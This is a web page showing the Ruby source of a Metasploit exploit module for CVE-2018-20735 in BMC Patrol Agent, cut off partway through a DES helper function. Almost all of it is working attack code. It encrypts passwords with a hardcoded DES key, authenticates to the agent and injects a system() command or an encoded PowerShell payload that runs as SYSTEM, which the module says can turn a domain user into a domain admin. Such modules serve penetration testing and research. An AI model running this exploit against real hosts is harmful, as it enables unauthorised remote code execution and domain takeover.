CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/misc/bmc_patrol_cmd_exec.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
require 'zlib'
6
7
class MetasploitModule < Msf::Exploit::Remote
8
Rank = ExcellentRanking
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::Powershell
11
12
@deflater = nil
13
@inflater = nil
14
15
SBOXES = [
16
0x20022000, 0x20000000, 0x0, 0x20022000, 0x0, 0x20022000, 0x20000000, 0x0, 0x20022000,
17
0x20022000, 0x20000000, 0x22000, 0x22000, 0x0, 0x0, 0x20000000, 0x20000000, 0x0,
18
0x22000, 0x20022000, 0x20022000, 0x20000000, 0x22000, 0x22000, 0x0, 0x22000,
19
0x20022000, 0x20000000, 0x22000, 0x22000, 0x20000000, 0x0, 0x0, 0x20022000, 0x22000,
20
0x20000000, 0x20022000, 0x20000000, 0x22000, 0x22000, 0x20000000, 0x22000,
21
0x20022000, 0x0, 0x20022000, 0x0, 0x0, 0x20000000, 0x20022000, 0x20022000, 0x20000000,
22
0x22000, 0x0, 0x22000, 0x20000000, 0x0, 0x20000000, 0x0, 0x22000, 0x20022000, 0x0,
23
0x20000000, 0x22000, 0x20022000, 0x802, 0x2, 0x8000800, 0x8000802, 0x800, 0x8000002,
24
0x8000002, 0x8000800, 0x8000002, 0x802, 0x802, 0x8000000, 0x8000800, 0x800,
25
0x0, 0x8000002, 0x2, 0x8000000, 0x800, 0x2, 0x8000802, 0x802, 0x8000000, 0x800, 0x8000000,
26
0x0, 0x2, 0x8000802, 0x0, 0x8000800, 0x8000802, 0x0, 0x0, 0x8000802, 0x800, 0x8000002,
27
0x802, 0x2, 0x8000000, 0x800, 0x8000802, 0x0, 0x2, 0x8000800, 0x8000002, 0x8000000,
28
0x8000800, 0x802, 0x8000802, 0x2, 0x802, 0x8000800, 0x800, 0x8000000, 0x8000002,
29
0x0, 0x2, 0x800, 0x8000800, 0x802, 0x8000000, 0x8000802, 0x0, 0x8000002, 0x2200004,
30
0x0, 0x2200000, 0x0, 0x4, 0x2200004, 0x2200000, 0x2200000, 0x2200000, 0x4, 0x4, 0x2200000,
31
0x4, 0x2200000, 0x0, 0x4, 0x0, 0x2200004, 0x4, 0x2200000, 0x2200004, 0x0, 0x0, 0x4, 0x2200004,
32
0x2200004, 0x2200000, 0x4, 0x0, 0x0, 0x2200004, 0x2200004, 0x4, 0x2200000, 0x2200000,
33
0x2200004, 0x2200004, 0x4, 0x4, 0x0, 0x0, 0x2200004, 0x0, 0x4, 0x2200000, 0x0, 0x2200004,
34
0x2200004, 0x2200000, 0x2200000, 0x0, 0x4, 0x4, 0x2200004, 0x2200000, 0x0, 0x4, 0x0,
35
0x2200004, 0x2200000, 0x2200004, 0x4, 0x0, 0x2200000, 0x1100004, 0x0, 0x4, 0x1100004,
36
0x1100000, 0x0, 0x1100000, 0x4, 0x0, 0x1100004, 0x0, 0x1100000, 0x4, 0x1100004, 0x1100004,
37
0x0, 0x4, 0x1100000, 0x1100004, 0x0, 0x4, 0x1100000, 0x0, 0x4, 0x1100000, 0x4, 0x1100004,
38
0x1100000, 0x1100000, 0x4, 0x0, 0x1100004, 0x4, 0x1100004, 0x1100000, 0x4, 0x1100004,
39
0x4, 0x1100000, 0x0, 0x1100000, 0x0, 0x4, 0x1100004, 0x0, 0x1100000, 0x4, 0x1100000,
40
0x1100004, 0x0, 0x0, 0x1100000, 0x0, 0x1100004, 0x4, 0x1100004, 0x1100004, 0x4, 0x0,
41
0x1100000, 0x1100000, 0x0, 0x1100004, 0x4, 0x0, 0x10000400, 0x400, 0x400, 0x10000000,
42
0x0, 0x400, 0x10000400, 0x400, 0x10000000, 0x10000000, 0x0, 0x10000400, 0x400,
43
0x0, 0x10000000, 0x0, 0x10000000, 0x10000400, 0x400, 0x400, 0x10000400, 0x10000000,
44
0x0, 0x10000000, 0x400, 0x10000400, 0x10000000, 0x10000400, 0x0, 0x0, 0x10000400,
45
0x10000400, 0x400, 0x0, 0x10000000, 0x400, 0x10000000, 0x10000000, 0x400, 0x0,
46
0x10000400, 0x10000400, 0x10000000, 0x10000000, 0x0, 0x10000400, 0x0, 0x10000400,
47
0x0, 0x0, 0x10000400, 0x10000000, 0x400, 0x400, 0x10000400, 0x400, 0x0, 0x10000000,
48
0x400, 0x0, 0x10000400, 0x400, 0x10000000, 0x4011000, 0x11001, 0x0, 0x4011000,
49
0x4000001, 0x11000, 0x4011000, 0x1, 0x11000, 0x1, 0x11001, 0x4000000, 0x4011001,
50
0x4000000, 0x4000000, 0x4011001, 0x0, 0x4000001, 0x11001, 0x0, 0x4000000, 0x4011001,
51
0x1, 0x4011000, 0x4011001, 0x11000, 0x4000001, 0x11001, 0x1, 0x0, 0x11000, 0x4000001,
52
0x11001, 0x0, 0x4000000, 0x1, 0x4000000, 0x4000001, 0x11001, 0x4011000, 0x0, 0x11001,
53
0x1, 0x4011001, 0x4000001, 0x11000, 0x4011001, 0x4000000, 0x4000001, 0x4011000,
54
0x11000, 0x4011001, 0x1, 0x11000, 0x4011000, 0x1, 0x11000, 0x0, 0x4011001, 0x4000000,
55
0x4011000, 0x4000001, 0x0, 0x11001, 0x40002, 0x40000, 0x2, 0x40002, 0x0, 0x0, 0x40002,
56
0x2, 0x40000, 0x2, 0x0, 0x40002, 0x2, 0x40002, 0x0, 0x0, 0x2, 0x40000, 0x40000, 0x2, 0x40000,
57
0x40002, 0x0, 0x40000, 0x40002, 0x0, 0x2, 0x40000, 0x40000, 0x2, 0x40002, 0x0, 0x2, 0x40002,
58
0x0, 0x2, 0x40000, 0x40000, 0x2, 0x0, 0x40002, 0x0, 0x40000, 0x2, 0x0, 0x2, 0x40000, 0x40000,
59
0x0, 0x40002, 0x40002, 0x0, 0x40002, 0x2, 0x40000, 0x40002, 0x2, 0x40000, 0x0, 0x40002,
60
0x40002, 0x0, 0x2, 0x40000, 0x20000110, 0x40000, 0x20000000, 0x20040110, 0x0, 0x40110,
61
0x20040000, 0x20000110, 0x40110, 0x20040000, 0x40000, 0x20000000, 0x20040000,
62
0x20000110, 0x110, 0x40000, 0x20040110, 0x110, 0x0, 0x20000000, 0x110, 0x20040000,
63
0x40110, 0x0, 0x20000000, 0x0, 0x20000110, 0x40110, 0x40000, 0x20040110, 0x20040110,
64
0x110, 0x20040110, 0x20000000, 0x110, 0x20040000, 0x110, 0x40000, 0x20000000,
65
0x40110, 0x20040000, 0x0, 0x0, 0x20000110, 0x0, 0x20040110, 0x40110, 0x0, 0x40000,
66
0x20040110, 0x20000110, 0x110, 0x20040110, 0x20000000, 0x40000, 0x20000110,
67
0x20000110, 0x110, 0x40110, 0x20040000, 0x20000000, 0x40000, 0x20040000, 0x40110,
68
0x0, 0x4000000, 0x11000, 0x4011008, 0x4000008, 0x11000, 0x4011008, 0x4000000,
69
0x4000000, 0x8, 0x8, 0x4011000, 0x11008, 0x4000008, 0x4011000, 0x0, 0x4011000, 0x0,
70
0x4000008, 0x11008, 0x11000, 0x4011008, 0x0, 0x8, 0x8, 0x11008, 0x4011008, 0x4000008,
71
0x4000000, 0x11000, 0x11008, 0x4011000, 0x4011000, 0x11008, 0x4000008, 0x4000000,
72
0x4000000, 0x8, 0x8, 0x11000, 0x0, 0x4011000, 0x4011008, 0x0, 0x4011008, 0x0, 0x11000,
73
0x4000008, 0x11008, 0x11000, 0x0, 0x4011008, 0x4000008, 0x4011000, 0x11008, 0x4000000,
74
0x4011000, 0x4000008, 0x11000, 0x11008, 0x8, 0x4011008, 0x4000000, 0x8, 0x22000,
75
0x0, 0x0, 0x22000, 0x22000, 0x22000, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x22000, 0x22000,
76
0x22000, 0x0, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x22000, 0x22000,
77
0x0, 0x22000, 0x0, 0x0, 0x22000, 0x22000, 0x22000, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x22000,
78
0x22000, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x22000,
79
0x22000, 0x0, 0x0, 0x0, 0x22000, 0x22000, 0x0, 0x0, 0x0, 0x22000, 0x22000, 0x110, 0x110,
80
0x0, 0x80000, 0x110, 0x80000, 0x80110, 0x0, 0x80110, 0x80110, 0x80000, 0x0, 0x80000,
81
0x110, 0x0, 0x80110, 0x0, 0x80110, 0x110, 0x0, 0x80000, 0x110, 0x80000, 0x110, 0x80110,
82
0x0, 0x0, 0x80110, 0x110, 0x80000, 0x80110, 0x80000, 0x80110, 0x0, 0x80000, 0x80110,
83
0x80000, 0x110, 0x0, 0x80000, 0x0, 0x80000, 0x110, 0x0, 0x110, 0x80110, 0x80000, 0x110,
84
0x80110, 0x80000, 0x0, 0x80110, 0x110, 0x0, 0x80110, 0x0, 0x80000, 0x110, 0x80110,
85
0x80000, 0x0, 0x80110, 0x110, 0x110, 0x2200000, 0x8, 0x0, 0x2200008, 0x8, 0x0, 0x2200000,
86
0x8, 0x0, 0x2200008, 0x8, 0x2200000, 0x2200000, 0x2200000, 0x2200008, 0x8, 0x8, 0x2200000,
87
0x2200008, 0x0, 0x0, 0x0, 0x2200008, 0x2200008, 0x2200008, 0x2200008, 0x2200000,
88
0x0, 0x0, 0x8, 0x8, 0x2200000, 0x0, 0x2200000, 0x2200000, 0x8, 0x2200008, 0x8, 0x0, 0x2200000,
89
0x2200000, 0x0, 0x2200008, 0x8, 0x8, 0x2200008, 0x8, 0x0, 0x2200008, 0x8, 0x8, 0x2200000,
90
0x2200000, 0x2200008, 0x8, 0x0, 0x0, 0x2200000, 0x2200000, 0x2200008, 0x2200008,
91
0x0, 0x0, 0x2200008, 0x1100000, 0x800, 0x800, 0x1, 0x1100801, 0x1100001, 0x1100800,
92
0x0, 0x0, 0x801, 0x801, 0x1100000, 0x1, 0x1100800, 0x1100000, 0x801, 0x801, 0x1100000,
93
0x1100001, 0x1100801, 0x0, 0x800, 0x1, 0x1100800, 0x1100001, 0x1100801, 0x1100800,
94
0x1, 0x1100801, 0x1100001, 0x800, 0x0, 0x1100801, 0x1100000, 0x1100001, 0x801,
95
0x1100000, 0x800, 0x0, 0x1100001, 0x801, 0x1100801, 0x1100800, 0x0, 0x800, 0x1, 0x1,
96
0x800, 0x0, 0x801, 0x800, 0x1100800, 0x801, 0x1100000, 0x1100801, 0x0, 0x1100800,
97
0x1, 0x1100001, 0x1100801, 0x1, 0x1100800, 0x1100000, 0x1100001, 0x0, 0x0, 0x400,
98
0x10000400, 0x10000400, 0x10000000, 0x0, 0x0, 0x400, 0x10000400, 0x10000000, 0x400,
99
0x10000000, 0x400, 0x400, 0x10000000, 0x10000400, 0x0, 0x10000000, 0x10000400,
100
0x0, 0x400, 0x10000400, 0x0, 0x10000400, 0x10000000, 0x400, 0x10000000, 0x10000000,
101
0x10000400, 0x0, 0x400, 0x10000000, 0x400, 0x10000400, 0x10000000, 0x0, 0x0, 0x400,
102
0x10000400, 0x10000400, 0x10000000, 0x0, 0x0, 0x0, 0x10000400, 0x10000000, 0x400,
103
0x0, 0x10000400, 0x400, 0x0, 0x10000000, 0x0, 0x10000400, 0x400, 0x400, 0x10000000,
104
0x10000000, 0x10000400, 0x10000400, 0x400, 0x400, 0x10000000, 0x220, 0x8000000,
105
0x8000220, 0x0, 0x8000000, 0x220, 0x0, 0x8000220, 0x220, 0x0, 0x8000000, 0x8000220,
106
0x8000220, 0x8000220, 0x220, 0x0, 0x8000000, 0x8000220, 0x220, 0x8000000, 0x8000220,
107
0x220, 0x0, 0x8000000, 0x0, 0x0, 0x8000220, 0x220, 0x0, 0x8000000, 0x8000000, 0x220,
108
0x0, 0x8000000, 0x220, 0x8000220, 0x8000220, 0x0, 0x0, 0x8000000, 0x220, 0x8000220,
109
0x8000000, 0x220, 0x8000000, 0x220, 0x220, 0x8000000, 0x8000220, 0x0, 0x0, 0x220,
110
0x8000000, 0x8000220, 0x8000220, 0x0, 0x220, 0x8000000, 0x8000220, 0x0, 0x0, 0x220,
111
0x8000000, 0x8000220, 0x80220, 0x80220, 0x0, 0x0, 0x80000, 0x220, 0x80220, 0x80220,
112
0x0, 0x80000, 0x220, 0x0, 0x220, 0x80000, 0x80000, 0x80220, 0x0, 0x220, 0x220, 0x80000,
113
0x80220, 0x80000, 0x0, 0x220, 0x80000, 0x220, 0x80000, 0x80220, 0x220, 0x0, 0x80220,
114
0x0, 0x220, 0x0, 0x80000, 0x80220, 0x0, 0x80000, 0x0, 0x220, 0x80220, 0x80000, 0x80000,
115
0x220, 0x80220, 0x0, 0x220, 0x80000, 0x80220, 0x220, 0x80220, 0x80000, 0x220, 0x0,
116
0x80000, 0x80220, 0x0, 0x80220, 0x220, 0x0, 0x80000, 0x80220, 0x0, 0x220
117
].freeze
118
119
PC1 = "\x38\x30\x28\x20\x18\x10\x8\x0\x39\x31\x29\x21\x19\x11\x9"\
120
"\x1\x3A\x32\x2A\x22\x1A\x12\x0A\x2\x3B\x33\x2B\x23\x3E\x36"\
121
"\x2E\x26\x1E\x16\x0E\x6\x3D\x35\x2D\x25\x1D\x15\x0D\x5\x3C"\
122
"\x34\x2C\x24\x1C\x14\x0C\x4\x1B\x13\x0B\x3\x0\x0\x0\x0\x0\x0\x0\x0".freeze
123
124
PC2 = "\x0D\x10\x0A\x17\x0\x4\x2\x1B\x0E\x5\x14\x9\x16\x12\x0B\x3"\
125
"\x19\x7\x0F\x6\x1A\x13\x0C\x1\x28\x33\x1E\x24\x2E\x36\x1D"\
126
"\x27\x32\x2C\x20\x2F\x2B\x30\x26\x37\x21\x34\x2D\x29\x31"\
127
"\x23\x1C\x1F".freeze
128
129
SBOX_BYTE_ORDER = [
130
1, 2, 4, 8, 0x10, 0x20, 0x40, 0x80, 0x100, 0x200, 0x400, 0x800, 0x1000, 0x2000,
131
0x4000, 0x8000, 0x10000, 0x20000, 0x40000, 0x80000, 0x100000, 0x200000, 0x400000,
132
0x800000, 0x1000000, 0x2000000, 0x4000000, 0x8000000, 0x10000000, 0x20000000,
133
0x40000000, 0x80000000
134
].freeze
135
136
ROTATIONS = "\x1\x1\x2\x2\x2\x2\x2\x2\x1\x2\x2\x2\x2\x2\x2\x1".freeze
137
INIT_DES_KEY_0 = "\x9a\xd3\xbc\x24\x10\xe2\x8f\x0e".freeze
138
INIT_DES_KEY_1 = "\xe2\x95\x14\x33\x59\xc3\xec\xa8".freeze
139
140
DES_ENCRYPT = 0
141
142
def initialize(info = {})
143
super(update_info(info,
144
'Name' => 'BMC Patrol Agent Privilege Escalation Cmd Execution',
145
'Description' => %q(
146
This module leverages the remote command execution feature provided by
147
the BMC Patrol Agent software. It can also be used to escalate privileges
148
on Windows hosts as the software runs as SYSTEM but only verfies that the password
149
of the provided user is correct. This also means if the software is running on a
150
domain controller, it can be used to escalate from a normal domain user to domain
151
admin as SYSTEM on a DC is DA. **WARNING** The windows version of this exploit uses
152
powershell to execute the payload. The powershell version tends to timeout on
153
the first run so it may take multiple tries.
154
),
155
'License' => MSF_LICENSE,
156
'Author' =>
157
[
158
'b0yd' # @rwincey / Vulnerability Discovery and MSF module author
159
],
160
'References' =>
161
[
162
['CVE', '2018-20735'],
163
['URL', 'https://www.securifera.com/blog/2018/12/17/bmc-patrol-agent-domain-user-to-domain-admin/']
164
],
165
'Platform' => ['win', 'linux'],
166
'Targets' =>
167
[
168
[
169
'Windows Powershell Injected Shellcode', {
170
'Platform' => 'win'
171
}
172
],
173
[
174
'Generic Command Callback', {
175
'Arch' => ARCH_CMD,
176
'Platform' => %w[linux unix win]
177
}
178
]
179
],
180
'Privileged' => true,
181
'DefaultTarget' => 0,
182
'DefaultOptions' => {
183
'DisablePayloadHandler' => true
184
},
185
'DisclosureDate' => '2019-01-17'))
186
187
register_options(
188
[
189
Opt::RPORT(3181),
190
OptString.new('USER', [true, 'local or domain user to authenticate with patrol', 'patrol']),
191
OptString.new('PASSWORD', [true, 'password to authenticate with patrol', 'password']),
192
OptString.new('CMD', [false, 'command to run on the target. If this option is specified the payload will be ignored.'])
193
]
194
)
195
196
end
197
198
def cleanup
199
disconnect
200
print_status("Disconnected from BMC Patrol Agent.")
201
@inflater.close
202
@deflater.close
203
super
204
end
205
206
def get_target_os(srv_info_msg)
207
lines = srv_info_msg.split("\n")
208
fail_with(Failure::UnexpectedReply, "Invalid server info msg.") if lines[0] != "MS" && lines[1] != "{" && lines[-1] != "}"
209
210
os = nil
211
ver = nil
212
lines[2..-2].each do |i|
213
val = i.split("=")
214
if val.length == 2
215
if val[0].strip! == "T"
216
os = val[1]
217
elsif val[0].strip! == "VER"
218
ver = val[1]
219
end
220
end
221
end
222
[os, ver]
223
end
224
225
def get_cmd_output(cmd_output_msg)
226
227
lines = cmd_output_msg.split("\n")
228
fail_with(Failure::UnexpectedReply, "Invalid command output msg.") if lines[0] != "PEM_MSG" && lines[1] != "{" && lines[-1] != "}"
229
230
# Parse out command results
231
idx_start = cmd_output_msg.index("Result\x00")
232
idx_end = cmd_output_msg.index("RemPsl_user")
233
output = cmd_output_msg[idx_start + 7..idx_end - 1]
234
235
output
236
end
237
238
def exploit
239
240
# Manually start the handler if not running a single command
241
if datastore['CMD'].nil? || datastore['CMD'].empty?
242
243
# Set to nil if the cmd is empty for checks further down
244
datastore['CMD'] = nil
245
datastore['DisablePayloadHandler'] = false
246
247
# Configure the payload handler
248
payload_instance.exploit_config = {
249
'active_timeout' => 300
250
}
251
# Setup the payload handler
252
payload_instance.setup_handler
253
254
# Start the payload handler
255
payload_instance.start_handler
256
257
end
258
259
# Initialize zlib objects
260
@deflater = Zlib::Deflate.new(4, 15, Zlib::MAX_MEM_LEVEL, Zlib::DEFAULT_STRATEGY)
261
@inflater = Zlib::Inflate.new
262
263
# Connect to the BMC Patrol Agent
264
connect
265
print_status("Connected to BMC Patrol Agent.")
266
267
# Create session msg
268
create_session
269
ret_data = receive_msg
270
fail_with(Failure::UnexpectedReply, "Failed to receive session confirmation. Aborting.") if ret_data.nil?
271
272
# Authenticate
273
authenticate_user(datastore['USER'], datastore['PASSWORD'])
274
275
# Receive the authentication response
276
ret_data = receive_msg
277
fail_with(Failure::UnexpectedReply, "Failed to receive authentication response. Aborting.") if ret_data.nil?
278
279
ret_msg = process_response(ret_data)
280
if ret_msg =~ /logged in/
281
print_status("Successfully authenticated user.")
282
else
283
fail_with(Failure::UnexpectedReply, "Login failed. Aborting.")
284
end
285
286
# Receive the server info
287
ret_data = receive_msg
288
fail_with(Failure::UnexpectedReply, "Failed to receive server info msg. Aborting.") if ret_data.nil?
289
srv_info = process_response(ret_data)
290
291
# Get the target's OS from their info msg
292
target_os = get_target_os(srv_info)
293
294
# When using autotargeting, MSF selects the Windows meterpreter as the default payload.
295
# Fail if this is the case and ask the user to select an appropriate payload.
296
if target_os[0] == 'Linux' && payload_instance.name =~ /Windows/ && datastore['CMD'].nil?
297
fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.")
298
end
299
300
target_name = target.name
301
if !datastore['CMD'].nil?
302
command = datastore['CMD'].tr('"', '\"')
303
print_status("Command to execute: #{command}")
304
elsif target_name == 'Windows Powershell Injected Shellcode'
305
# Get encoded powershell of payload
306
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, method: 'reflection')
307
else
308
command = payload.raw.tr('"', '\"')
309
end
310
311
# Run command
312
run_cmd(command)
313
314
# Receive command confirmation
315
ret_data = receive_msg
316
if !ret_data.nil?
317
process_response(ret_data)
318
end
319
320
# Receive command output
321
ret_data = receive_msg
322
if !ret_data.nil? && !datastore['CMD'].nil?
323
cmd_result_data = process_response(ret_data)
324
cmd_result = get_cmd_output(cmd_result_data)
325
print_status("Output:\n#{cmd_result}")
326
end
327
328
# Handle the shell
329
handler
330
331
end
332
333
def receive_msg
334
335
header = sock.get_once(6)
336
if header.nil?
337
return
338
end
339
340
payload_size_arr = header[0, 4]
341
payload_size = payload_size_arr.unpack1("N")
342
payload = ''
343
if payload_size > 0
344
payload = sock.get_once(payload_size)
345
if payload.nil?
346
return
347
end
348
end
349
350
return header + payload
351
352
end
353
354
def send_msg(type, compression, data)
355
356
data_len = data.length
357
buf = [data_len].pack('N')
358
359
# Set the type
360
buf += [type].pack('C')
361
362
# Set compression flag
363
buf += [compression].pack('C')
364
365
# Add data
366
buf += data
367
368
# Send msg
369
sock.put(buf)
370
371
end
372
373
def process_response(ret_data)
374
375
# While style checks complain, I intend to leave this parsing
376
# in place for debugging purposes
377
ret_size_arr = ret_data[0, 4]
378
ret_size = ret_size_arr.unpack1("N") # rubocop:disable Lint/UselessAssignment
379
380
msg_type = ret_data[4, 1] # rubocop:disable Lint/UselessAssignment
381
comp_flag = ret_data[5, 1]
382
383
payload_data = ret_data[6..-1]
384
if comp_flag == "\x00"
385
bin_data = payload_data.unpack1("H*") # rubocop:disable Lint/UselessAssignment
386
payload_data = @inflater.inflate(payload_data)
387
end
388
389
return payload_data
390
391
end
392
393
def run_cmd(cmd)
394
395
user_num = rand 1000..9999
396
msg_1 = %(R_E
397
{
398
\tRE_ID=1
399
\tRE_PDESC=0\tRemPsl\tsystem("#{cmd}");\tRemPsl_user_#{user_num}
400
\tRE_ORG=PemApi
401
\tRE_SEV=1
402
\tRE_NSEV=5
403
\tRE_ST=
404
}
405
)
406
407
msg_1 += "\x00"
408
# Compress the message
409
comp_data = @deflater.deflate msg_1, Zlib::SYNC_FLUSH
410
send_msg(0x44, 0x0, comp_data)
411
412
end
413
414
def identify(user)
415
416
inner_len = 15
417
msg_type = 8
418
len_str = [inner_len].pack("N")
419
msg_str = [msg_type].pack("N")
420
msg_1 = %(PEM_MSG
421
{
422
\tNSDL=#{inner_len}
423
\tPEM_DGRAM=#{len_str}#{msg_str}#{user}\x00
424
}
425
)
426
msg_1 += "\x00"
427
print_status("Msg: #{msg_1}")
428
bin_data = msg_1.unpack1("H*") # rubocop:disable Lint/UselessAssignment
429
# Compress the message
430
comp_data = @deflater.deflate msg_1, Zlib::SYNC_FLUSH
431
send_msg(0x44, 0x0, comp_data)
432
433
end
434
435
def create_session
436
sess_msg = "\x00\x00\x00\x00\x00\x00\x00\x00\x05\x02\x00\x04\x02\x04\x03\x10\x00\x00\x03\x04\x00\x00\x00\x00\x01\x01\x04\x00\xff\x00\x00\x00"
437
sess_msg += "\x00" * 0x68
438
send_msg(0x45, 0x2, sess_msg)
439
end
440
441
def authenticate_user(user, password)
442
# Default encryption key
443
enc_key = 'k$C4}@"_'
444
output_data = des_crypt_func(password, enc_key, DES_ENCRYPT)
445
# Convert to hex string
446
encrpted_pw = output_data.unpack1("H*")
447
des_pw = encrpted_pw.upcase
448
449
msg_1 = %(ID
450
{
451
\tHOST=user
452
\tUSER=#{user}
453
\tPASS=#{des_pw}
454
\tVER=V9.6.00
455
\tT=PEMAPI
456
\tHTBT=1
457
\tTMOT=1728000
458
\tRTRS=3
459
}
460
)
461
462
msg_1 += "\x00"
463
comp_data = @deflater.deflate msg_1, Zlib::SYNC_FLUSH
464
send_msg(0x44, 0x0, comp_data)
465
466
end
467
468
def rotate_block_init(input_block_tuple)
469
470
v6 = 0
471
v5 = 0
472
input_block_tuple = input_block_tuple.pack("V*").unpack("i*")
473
v3 = input_block_tuple[0]
474
v4 = input_block_tuple[1]
475
476
if (v4 & 0x2000000) != 0
477
v5 = 1
478
end
479
if (v4 & 0x20000) != 0
480
v5 |= 2
481
end
482
if (v4 & 0x200) != 0
483
v5 |= 4
484
end
485
if (v4 & 2) != 0
486
v5 |= 8
487
end
488
if (v3 & 0x2000000) != 0
489
v5 |= 0x10
490
end
491
if (v3 & 0x20000) != 0
492
v5 |= 0x20
493
end
494
if (v3 & 0x200) != 0
495
v5 |= 0x40
496
end
497
if (v3 & 2) != 0
498
v5 |= 0x80
499
end
500
if (v4 & 0x8000000) != 0
501
v5 |= 0x100
502
end
503
if (v4 & 0x80000) != 0
504
v5 |= 0x200
505
end
506
if (v4 & 0x800) != 0
507
v5 |= 0x400
508
end
509
if (v4 & 8) != 0
510
v5 |= 0x800
511
end
512
if (v3 & 0x8000000) != 0
513
v5 |= 0x1000
514
end
515
if (v3 & 0x80000) != 0
516
v5 |= 0x2000
517
end
518
if (v3 & 0x800) != 0
519
v5 |= 0x4000
520
end
521
if (v3 & 8) != 0
522
v5 |= 0x8000
523
end
524
if (v4 & 0x20000000) != 0
525
v5 |= 0x10000
526
end
527
if (v4 & 0x200000) != 0
528
v5 |= 0x20000
529
end
530
if (v4 & 0x2000) != 0
531
v5 |= 0x40000
532
end
533
if (v4 & 0x20) != 0
534
v5 |= 0x80000
535
end
536
if (v3 & 0x20000000) != 0
537
v5 |= 0x100000
538
end
539
if (v3 & 0x200000) != 0
540
v5 |= 0x200000
541
end
542
if (v3 & 0x2000) != 0
543
v5 |= 0x400000
544
end
545
if (v3 & 0x20) != 0
546
v5 |= 0x800000
547
end
548
if (v4 < 0)
549
v5 |= 0x1000000
550
end
551
if (v4 & 0x800000) != 0
552
v5 |= 0x2000000
553
end
554
if (v4 & 0x8000) != 0
555
v5 |= 0x4000000
556
end
557
if (v4 & 0x80) != 0
558
v5 |= 0x8000000
559
end
560
if (v3 < 0)
561
v5 |= 0x10000000
562
end
563
if (v3 & 0x800000) != 0
564
v5 |= 0x20000000
565
end
566
if (v3 & 0x8000) != 0
567
v5 |= 0x40000000
568
end
569
if (v3 & 0x80) != 0
570
v5 |= 0x80000000
571
end
572
if (v4 & 0x1000000) != 0
573
v6 = 1
574
end
575
if (v4 & 0x10000) != 0
576
v6 |= 2
577
end
578
if (v4 & 0x100) != 0
579
v6 |= 4
580
end
581
if (v4 & 1) != 0
582
v6 |= 8
583
end
584
if (v3 & 0x1000000) != 0
585
v6 |= 0x10
586
end
587
if (v3 & 0x10000) != 0
588
v6 |= 0x20
589
end
590
if (v3 & 0x100) != 0
591
v6 |= 0x40
592
end
593
if (v3 & 1) != 0
594
v6 |= 0x80
595
end
596
if (v4 & 0x4000000) != 0
597
v6 |= 0x100
598
end
599
if (v4 & 0x40000) != 0
600
v6 |= 0x200
601
end
602
if (v4 & 0x400) != 0
603
v6 |= 0x400
604
end
605
if (v4 & 4) != 0
606
v6 |= 0x800
607
end
608
if (v3 & 0x4000000) != 0
609
v6 |= 0x1000
610
end
611
if (v3 & 0x40000) != 0
612
v6 |= 0x2000
613
end
614
if (v3 & 0x400) != 0
615
v6 |= 0x4000
616
end
617
if (v3 & 4) != 0
618
v6 |= 0x8000
619
end
620
if (v4 & 0x10000000) != 0
621
v6 |= 0x10000
622
end
623
if (v4 & 0x100000) != 0
624
v6 |= 0x20000
625
end
626
if (v4 & 0x1000) != 0
627
v6 |= 0x40000
628
end
629
if (v4 & 0x10) != 0
630
v6 |= 0x80000
631
end
632
if (v3 & 0x10000000) != 0
633
v6 |= 0x100000
634
end
635
if (v3 & 0x100000) != 0
636
v6 |= 0x200000
637
end
638
if (v3 & 0x1000) != 0
639
v6 |= 0x400000
640
end
641
if (v3 & 0x10) != 0
642
v6 |= 0x800000
643
end
644
if (v4 & 0x40000000) != 0
645
v6 |= 0x1000000
646
end
647
if (v4 & 0x400000) != 0
648
v6 |= 0x2000000
649
end
650
if (v4 & 0x4000) != 0
651
v6 |= 0x4000000
652
end
653
if (v4 & 0x40) != 0
654
v6 |= 0x8000000
655
end
656
if (v3 & 0x40000000) != 0
657
v6 |= 0x10000000
658
end
659
if (v3 & 0x400000) != 0
660
v6 |= 0x20000000
661
end
662
if (v3 & 0x4000) != 0
663
v6 |= 0x40000000
664
end
665
if (v3 & 0x40) != 0
666
v6 |= 0x80000000
667
end
668
669
# Create return tuple
670
ret_block = Array.new
671
ret_block.push v5
672
ret_block.push v6
673
ret_block
674
end
675
676
def rotate_block_final(input_block_tuple)
677
678
v6 = 0
679
v5 = 0
680
input_block_tuple = input_block_tuple.pack("V*").unpack("i*")
681
v3 = input_block_tuple[0]
682
v4 = input_block_tuple[1]
683
684
if (v4 & 0x80) != 0
685
v5 = 1
686
end
687
if (v3 & 0x80) != 0
688
v5 |= 2
689
end
690
if (v4 & 0x8000) != 0
691
v5 |= 4
692
end
693
if (v3 & 0x8000) != 0
694
v5 |= 8
695
end
696
if (v4 & 0x800000) != 0
697
v5 |= 0x10
698
end
699
if (v3 & 0x800000) != 0
700
v5 |= 0x20
701
end
702
if (v4 < 0)
703
v5 |= 0x40
704
end
705
if (v3 < 0)
706
v5 |= 0x80
707
end
708
if (v4 & 0x40) != 0
709
v5 |= 0x100
710
end
711
if (v3 & 0x40) != 0
712
v5 |= 0x200
713
end
714
if (v4 & 0x4000) != 0
715
v5 |= 0x400
716
end
717
if (v3 & 0x4000) != 0
718
v5 |= 0x800
719
end
720
if (v4 & 0x400000) != 0
721
v5 |= 0x1000
722
end
723
if (v3 & 0x400000) != 0
724
v5 |= 0x2000
725
end
726
if (v4 & 0x40000000) != 0
727
v5 |= 0x4000
728
end
729
if (v3 & 0x40000000) != 0
730
v5 |= 0x8000
731
end
732
if (v4 & 0x20) != 0
733
v5 |= 0x10000
734
end
735
if (v3 & 0x20) != 0
736
v5 |= 0x20000
737
end
738
if (v4 & 0x2000) != 0
739
v5 |= 0x40000
740
end
741
if (v3 & 0x2000) != 0
742
v5 |= 0x80000
743
end
744
if (v4 & 0x200000) != 0
745
v5 |= 0x100000
746
end
747
if (v3 & 0x200000) != 0
748
